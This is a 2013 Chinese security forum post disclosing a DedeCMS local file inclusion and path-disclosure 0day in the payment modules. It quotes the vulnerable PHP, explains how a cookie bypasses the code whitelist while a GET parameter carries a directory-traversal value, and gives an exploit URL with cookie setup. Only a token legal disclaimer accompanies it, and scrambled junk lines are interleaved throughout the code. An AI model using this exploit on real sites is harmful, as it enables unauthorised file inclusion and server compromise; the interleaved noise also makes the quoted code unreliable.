中国网络渗透测试联盟
标题:
dedecms本地文件包含及物理路径泄露0day
[打印本页]
作者:
admin
时间:
2013-4-4 17:25
标题:
dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
3 h7 X3 h+ ]1 K) `
0 A( V" Q" l1 {: J+ J3 }
出现漏洞的两个文件为:
; j, |, P+ v$ I- M5 d) r( n
Include/payment/alipay.php
# W) b2 U6 C6 |" z# Y0 u" p e
Include/payment/yeepay.php
8 _' H8 H& k+ i% b2 m4 r1 K
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
" B# `1 u6 ?/ A( u8 ~$ S5 Z
" i& w" A; n, @; p
Include/payment/alipay.php
+ m- i. V/ G e( g' Y
5 k; |. j0 l- R. g
......
9 x, l, P9 K1 p) k& V5 v' p: H
function respond()
' D* ?7 f' N: o9 O; F- p2 u0 l
{
8 [. l) v7 f( P
if (!empty($_POST))
, o. I5 `8 T$ c! Y# U
{
" b& p0 p. C: u
foreach($_POST as $key => $data)
+ h/ u% V6 J. M8 ]0 f
{
6 `) L1 t. l) L8 l4 h3 f7 p$ B
$_GET[$key] = $data;
: c% X, x8 P c$ q0 r6 ~$ n
}
) Q7 Y+ d' i/ `1 Y+ ~3 T
}
& s* D2 v6 `# w
/* 引入配置文件 */
; \2 r# V/ V3 H
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
/ D" q$ ]% g$ N9 `
......
; n; j4 \: W( H+ Q! W2 o. q& q1 L4 U
- k% F* B2 w1 F/ D3 p6 F/ O
- X! H3 E+ K! z9 t: ~
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
) x! q/ T2 s S. d! F4 E
' n- G* n( }9 I* w# E- [ J, d5 s
Include/payment/yeepay.php
0 e' E0 F% z1 }: b) e
) M% x( Y' h1 S% {4 g
6 k- d% V* s: F4 f$ X
. e3 _8 o- k4 ?) ]' F+ o2 m
......
8 O& t! P* E+ r" Q+ ]' o0 q, ^
function respond()
8 [* ~; J b3 ]/ z) x
{
" Z% p3 ^6 R! t' U
8 W% d5 ^, X2 m4 ?" @7 [4 c+ V
/* 引入配置文件 */
: S: @$ l$ G/ O M* Q
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
& Z$ X N/ m/ b) |
O# A! P- |& X. O
$p1_MerId = trim($payment['yp_account']);
- ^0 j* @' }4 E" S! t
$merchantKey = trim($payment['yp_key']);
& Q; h$ A) [3 y5 t' ^' F% `0 Y
......
5 h' \$ A, k. c' G: y
8 [2 @, F( i, l+ |) ~
1 _$ D9 c) ?* O$ j& {" P# O
* l0 M$ i. @9 v
# R& F) @# t) M% ~6 h7 |
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
( t: a( O: c% v0 |& T% j' f# P
4 h$ ^8 C5 Y/ r* f+ O$ V
这两个方法在plus/carbuyaction.php文件调用。
: ~3 w& z. E$ b0 f& |) B
3 o! y* k$ O, c
plus/carbuyaction.php
' y9 r3 P, L# d# y. p- h
* s' B( R3 H% j, v. }8 {) W8 I
......
" r1 ~+ {) g& B
} else if ($dopost == 'return') {
. H- M7 E4 s1 D& p/ w0 X
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
5 G2 ~- k6 q, }" e& _
if (in_array($code, $write_list))
/ B+ J$ Z; q3 N. L; Y
{
; |' D1 N7 a5 N
require_once DEDEINC.'/payment/'.$code.'.php';
( j; `, o+ Q' ^9 m
$pay = new $code;
3 c, @- G% R9 }/ @# d" m' Z
$msg=$pay->respond();
* W& b+ ?4 ]1 V2 }# v
ShowMsg($msg, "javascript:;", 0, 3000);
" }9 l& `; Q& u
exit();
* |3 x: X& z+ B" d7 L- f6 [' i
} else {
& ~( G7 f4 s0 z u& z
exit('Error:File Type Can\'t Recognized!');
5 ^1 ^: e9 z0 u& U! j2 m) R
}
9 z7 G% _! [0 R: t
}
* P7 w h. J4 G. b1 v
......
8 X0 n2 J) d* `5 B9 ?
' l! y' p: T' Q, Z
2 n- Z# q4 M7 l; a! T! T( M
4 T( A$ ]" ~$ x) @' E- J' g9 Y
; ]. e! ` |4 N& a
7 P4 X4 j1 m$ F2 [) t( L$ H
: U+ m9 T. Y& U& @4 c' J+ C, z
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
: }: Y Y% I# F
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
6 t! P0 l- u m5 G- Q
. [- Q+ ~% Y$ k, z, L* V
回到include/common.inc.php来看看他的机制。
% w2 n' _5 H1 F, z; q
: Y& |& |" k& B2 o
2 p, M, \' w: e
$ K2 D& y& B: Q$ V5 R7 t$ @
......
- J5 {) Y: O% s. C1 }! W
foreach(Array('_GET','_POST','_COOKIE') as $_request)
( D% h% ~( V+ L! Y# f3 f
{
, Q+ O6 m- P1 a) o/ r* h
foreach($$_request as $_k => $_v)
6 ~& s+ g8 H' \4 @
{
3 d0 J* j7 w6 U! b3 Z) _
if($_k == 'nvarname') ${$_k} = $_v;
3 ]! l2 g- f' I1 U- X" X
else ${$_k} = _RunMagicQuotes($_v);
+ E) z" i4 e2 h( `6 I
}
8 X, R- p6 b" z8 d
}
+ @5 w) _0 W6 |
......
. {4 h. r' h0 ^
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:
http://www.php0day.com/plus/carb ... amp;code=../../tags
上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
& p, q& h: k9 b: S4 w
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2